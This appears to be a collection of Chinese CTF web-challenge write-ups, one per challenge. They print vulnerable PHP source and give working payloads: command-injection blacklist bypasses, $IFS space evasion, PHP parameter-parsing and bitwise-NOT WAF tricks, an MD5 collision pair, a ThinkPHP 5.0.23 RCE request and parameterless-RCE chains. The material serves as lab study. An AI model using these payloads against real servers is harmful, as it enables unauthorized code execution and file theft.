[ACTF2020 新生賽]Exec
考點:命令執行
1、先ping 127.0.0.1,能ping通
2、ping 127.0.0.1;cat /flag或127.0.0.1 & cat /flag
[GXYCTF2019]Ping Ping Ping
考點:命令執行
1、ping 127.0.0.1,可以

127.0.0.1 | ls

回顯不能有空格,空格繞過一般是:$IFS、${IFS}、$IFS$一位數字,但是這里試了$IFS$1才行

<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){#不能有空格
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){#不能有`.*f.*l.*a.*g`
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
正則表達式 ,參考:https://deerchao.cn/tutorials/regex/regex.htm
元字符.:表示匹配除了換行符\n以外的任意字符
元字符*:表示多次匹配*前面的內容
.*連在一下,表示匹配任意次的不包含換行符的字符
黑名單繞過:利用變量拼接
payload:?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
F12。
[RoarCTF 2019]Easy Calc
考點:命令執行
前置知識
1、利用PHP的字符串解析特性Bypass
2、取反操作繞過'
<?php
echo urlencode(~'/')."\n";#%D0
echo ~urldecode('%d0')."\n";#/
?>
~%d0就是字符串/
解題
1、F12
<!--I've set up WAF to ensure security.-->
<script>
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("這啥?算不來!");
}
})
return false;
})
</script>
提示我們設置了WAF,傳入非數字值和運算符,直接403

我們在num前加個%20,現在變量成了(space)num,PHP在接受請求參數時會忽略開頭的空格,就是?%20num=a相當於$_GET['num']=a。
訪問calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
黑名單里過濾里一些關鍵字符
先查看根目錄下有哪些文件,由於過濾了',用chr()轉換繞過,或者用~取反
?%20num=1;var_dump(scandir(chr(47)))

發現有一個f1agg文件,用file_get_contents讀取一下
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
?%20num=var_dump(file_get_contents(~%D0%99%CE%9E%98%98))
還有另一種解法:http請求走私
協議層的攻擊——HTTP請求走私
http://www.feidao.site/wordpress/index.php/2019/11/23/roarctf-2019easy-calc/
https://www.cnblogs.com/chrysanthemum/p/11757363.html

[安洵杯 2019]easy_web
考點:md5強比較、命令執行
解題
1、F12,發現md5 is funny ~
對url的img參數值解密,得到:555.png
嘗試對index.php,按解密順序,逆一下,得到:TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,替換原img參數的值
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
2、代碼審計
echo $cmd;
echo `$cmd`;
關注這2個地方
md5強相等,直接搜一個
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
hackbar奇怪沒出來;啥都不干,用bp抓一個POST的包,再改包,查看根目錄下有哪些文件,發現有過濾空格


[BJDCTF 2nd]old-hack
考點:ThinkPHP5.0.23 RCE
解題

首頁提示“thinkphp5”,搜到一篇文章:Thinkphp5 RCE總結
先確定版本

隨便傳入1個值,讓它報錯,發現是thinkphp5.0.23
ThinkPHP5.0.*版本代碼執行漏洞
直接用payload
查看根目錄
?s=captcha
POST:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls /
讀flag
?s=captcha
POST:__method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
[GXYCTF2019]禁止套娃
解題:
用wscan掃到了/.git目錄

利用GitHack下載到源碼

index.php:
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("還差一點哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("還想讀flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
分析源碼得出:
1、flag在flag.php
2、GET傳參exp
3、過濾了data://、filter://、php://、phar://這些偽協議,就不能用偽協議讀flag.php
4、preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])
用preg_replace()替換匹配到的字符為NULL空。
參考:無參數讀文件和RCE總結

關於(?R)?:

(?R)?菜雞在這里糾結了很長時間,還是理解不了
傳入的exp參數只能包含小寫字母、,、_、(),還要以;結尾
5、過濾了一些函數,像et,file_get_contents()就不能用
無參數RCE要用到的幾個函數:
- print_r(scandir('.'));查看當前目錄下的所有文件名
- localeconv() 函數返回一包含本地數字及貨幣格式信息的數組。
- current() 函數返回數組中的當前元素(單元),默認取第一個值,和pos()一樣
先查看當前目錄下的所有文件名,但是這題不能有參數,找一個代替'.'的東西
print_r(scandir(current(localeconv())));打印出當前目錄下文件
?exp=print_r(scandir(current(localeconv())));

flag.php在倒數第二個,直接用next(array_reverse());
paylaod:?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
解題參考:
https://www.gem-love.com/ctf/530.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/
http://www.lovexyu.xyz/art.php?art_id=58
https://www.suk1.top/2020/02/05/GXY套娃/#array-rand-array-flip



